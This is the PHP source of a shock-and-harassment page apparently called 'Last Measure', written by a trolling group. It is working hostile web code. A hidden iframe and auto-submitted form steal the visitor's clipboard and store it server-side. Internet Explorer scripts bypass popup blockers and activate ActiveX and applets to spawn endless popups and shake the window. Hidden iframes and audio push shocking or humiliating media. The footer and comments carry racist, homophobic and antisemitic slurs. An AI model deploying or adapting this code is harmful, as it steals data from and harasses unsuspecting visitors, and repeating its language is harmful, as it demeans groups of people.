source: trollforge/lastmeasure/index.php @ 551 Tweet

<?php
include('include/browser.php');
include('include/db.php');
include('include/keywords.php');

/* Static site containing the images, sounds and movies. Everything still
 * works if this is not set. */
$static = 'http://static.nimp.org/';

/* Browser features */
$br = new Browser;
$br_ie6 = ($br->Name == "MSIE" && $br->Version >= 6);

/* Print a random image name, with its 'image/' prefix. */
$imagelist = array();
$dh = opendir('images/');
while(($file = readdir($dh)) != false) {
  $ext = substr($file, -3);
  if($ext == 'jpg' || $ext == 'gif') {
    $imagelist[] = $file;
  }
}
closedir($dh);

/* Print a random audio file name, with its 'audio/' prefix. */
$audiolist = array();
$dh = opendir('audio/');
while(($file = readdir($dh)) != false) {
  $ext = substr($file, -3);
  if($ext == 'wav') {
    $audiolist[] = $file;
  }
}
closedir($dh);

function random_image() {
   global $static, $imagelist;
   echo $static."images/".$imagelist[rand(0,count($imagelist)-1)];
}


function hey_everybody() {
 global $static, $audiolist; ?>
 <div>
  <!-- This object plays the "hey everybody, I'm watching gay porno!" sound -->
  <object classid= "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="1" height="1" id="hey">
    <param name="movie" value="<?php echo $static ?>flash/hey.swf" />
    <param name="quality" value="high" />
  </object>
  <script type="text/javascript">
    <!--
    var audio = new Array();
    <?php
    echo "var audiocount = ".count($audiolist).";\n";
    for($i = 0; $i < count($audiolist); $i++) {
      echo "    audio[".$i."] = '".$static."audio/".$audiolist[$i]."';\n";
    } ?>
    for (i = 0; i < audiocount; i++) {
      setTimeout('document.getElementById("audio").innerHTML += \'<embed src="' + audio[i] + '" loop="true" />\';', 6000 * (i/2));
    }
    // -->
  </script>
  <div id="audio"></div>
  <applet code="LastCoffee.class" width="100" height="100" codebase="/" />
</div>
<?php
}

function move_around($w, $h) {
  global $static, $audiolist; ?>
  <script type="text/javascript">
    <!--
    var images = new Array();
    <?php
    echo "var imagecount = ".count($imagelist).";\n";
    for($i = 0; $i < count($imagelist); $i++) {
      echo "    images[".$i."] = '".$static."images/".$imagelist[$i]."';\n";
    } ?>

    var delay = 10;
    var step = .2;
    var curstep = 0;

    window.resizeTo(<?php echo "$w, $h";?>);
    var centerX = (self.screen.width - document.body.clientWidth) / 2;
    var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;
    movew0w();

    function movew0w() {
      var j;
      for (j = 0; j < 5; j++) {
        curstep += step / 5;
        var factorX = Math.sin(curstep * 6.1) * 0.9;
        var factorY = Math.cos(curstep * 3.7) * 0.9;

        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)
                    * (Math.sin(10+curstep/(10+j))+0.2)
                    * Math.cos((curstep + j*25)/10);
        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)
                    * (Math.sin(10+curstep/10)+0.2)
                    * Math.cos((curstep + j*25)/10);
        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));
      }
      document.body.background = images[(Math.floor(curstep) % imagecount) + 1];
      setTimeout("movew0w()", delay);
    }
    // -->
  </script>
<?php
}

function popup_bypasser() { ?>
  <!-- This chunk bypasses popups -->
  <script type="text/javascript">
    <!--
    function shellscript() {
      for(i = 0; i < 5; i++) {
        open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?popup=1','_blank','scrollbar=no');
      }
    }

    function main() {
      x.DOM.Script.execScript(shellscript.toString());
      x.DOM.Script.setTimeout("shellscript()");
      setTimeout("main()", 200);
    }
    // -->
  </script>
<?php
}

function divert_onload() { ?>
  <script type="text/javascript">
    <!--
    var SymRealOnLoad;
    var SymRealOnUnload;
    var SymRealWinOpen;

    function SymOnUnload() {
      window.open = SymWinOpen;
      if(SymRealOnUnload != null)
        SymRealOnUnload();
    }

    function SymOnLoad() {
      if(SymRealOnLoad != null)
        SymRealOnLoad();
      window.open = SymRealWinOpen;
      SymRealOnUnload = window.onUnload;
      window.onUnload = SymOnUnload;
    }

    SymRealOnLoad = window.onLoad;
    window.onLoad = SymOnLoad;
    // -->
  </script>
<?php
}

function activate_applets() { ?>
 <div>
  <object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" height="1" width="1">
    <param name="ActivateApplets" value="1" />
    <param name="ActivateActiveXControls" value="1" />
  </object>
 </div>
<?php
}

/*
 * The rest of our code
 */

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
 <head>
    <title>GNAA Last Measure Live!</title>
      <?php echo "<meta name=\"keywords\" content=\"${keywords}\" />\n"; ?>
    <script type="text/javascript">
      <?php include("include/js.inc") ?>
    </script>
    <link rel="icon" type="image/x-icon" href="<?php echo $static; ?>favicon.ico" />
    <link rel="shortcut icon" type="image/x-icon" href="<?php echo $static; ?>favicon.ico" />
    <style type="text/css">
      html {
        height: 100%;
        width: 100%;
        overflow: hidden;
      }
      body {
        height: 100%;
        width: 100%;
        margin: 0;
        padding: 0;
      }
    </style>
  </head>
<?php

    /*
     *
     *  Clipboard stealing subwindow
     *
     */

    if($_GET['steal']) { ?>
    <body>
      <?php if($_POST['pwnd']) {
          store_clipboard($_GET['key'], $_POST['content']);
      } else {
      ?>
      <form name="clip" method="post" action="/index.php?steal=1&key=<?php echo $_GET['key']; ?>" style="display:none">
        <input type="text" name="content">
        <input type="hidden" name="pwnd" value="1">
        <input type="submit">
      </form>
      <script type="text/javascript">
      <!--
        // without this if statement check, it bombs out with an error
        if (typeof clipboardData != 'undefined') {
          var content = clipboardData.getData("Text");
          document.forms["clip"].elements["content"].value = content;
        }
        document.forms["clip"].submit();
      // -->
      </script>
      <?php } ?>
    </body>

    <?php

    /*
     *
     *  This is either the first window or a popup window
     *
     */

    } else {
      if($_GET['popup']) {
        $flash = 'second_opener.swf';
      } else {
        $key = store_hit();
        $flash = 'first_opener.swf';
      }
    ?>
<body style="background-image: url(<?php random_image(); ?>); background-color: #FFFFFF;"
  onload="bookmark();noframes();load_goatse();document.goatse.reset();movew0w();setTimeout('ruin()', 20);<?php if($br_ie6) { ?>setTimeout('main()', 100);<?php } ?>"
  onmousemove="document.goatse.reset();movew0w();procreate();"
  onkeydown="molish();procreate();"
  onunload="document.goatse.reset();movew0w();procreate();"
  onmouseover="document.goatse.reset();movew0w();procreate();">
  <?php move_around(800, 600);
        activate_applets();
        if($br_ie6) {
          popup_bypasser();
          divert_onload();
        } ?>
  <table>
    <tr>
      <td valign="middle">
        <div style="text-align: center;">
          <a href="http://www.gnaa.eu/"><img src="<?php echo $static; ?>gnaa.png" alt="GNAA" /></a>
          <br />
          <br />
          <?php if(!$br_ie6) { ?>
          <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0">
              <param name="movie" value="<?php echo $static; ?>flash/<?php echo $flash;?>" />
              <param name="quality" value="high" />
            </object>
          <?php } ?>
        </div>
      </td>
    </tr>
  </table>
  <?php if(!$_GET['popup']) {
    hey_everybody(); ?>
   <div>
    <iframe style="width: 1px; height: 1px;" src="/index.php?steal=1&amp;key=<?php echo $key;?>"></iframe>
    <iframe style="width: 1px; height: 1px;" src="<?php echo $static; ?>lm.pdf"></iframe>
    <iframe style="width: 1px; height: 1px;" src="<?php echo $static; ?>jews.wmv"></iframe>
    <br />
   </div>
  <?php echo $keywords; ?>
  <?php } ?>
  <form onreset="procreate();" onsubmit="procreate();" action="#" id="goatse" name="goatse">
    <p>
      <span style="background-color: #ffffff; border: thin solid; color: #000000;"><a href="http://lastmeasure.com/">Last Measure</a> is proudly brought to you by The <a href="http://www.gnaa.eu/">Gay Nigger Association of America</a>. &copy; 2002-2012 GNAA</span>
    </p>
  </form>
</body><?php
    }
?>

</html>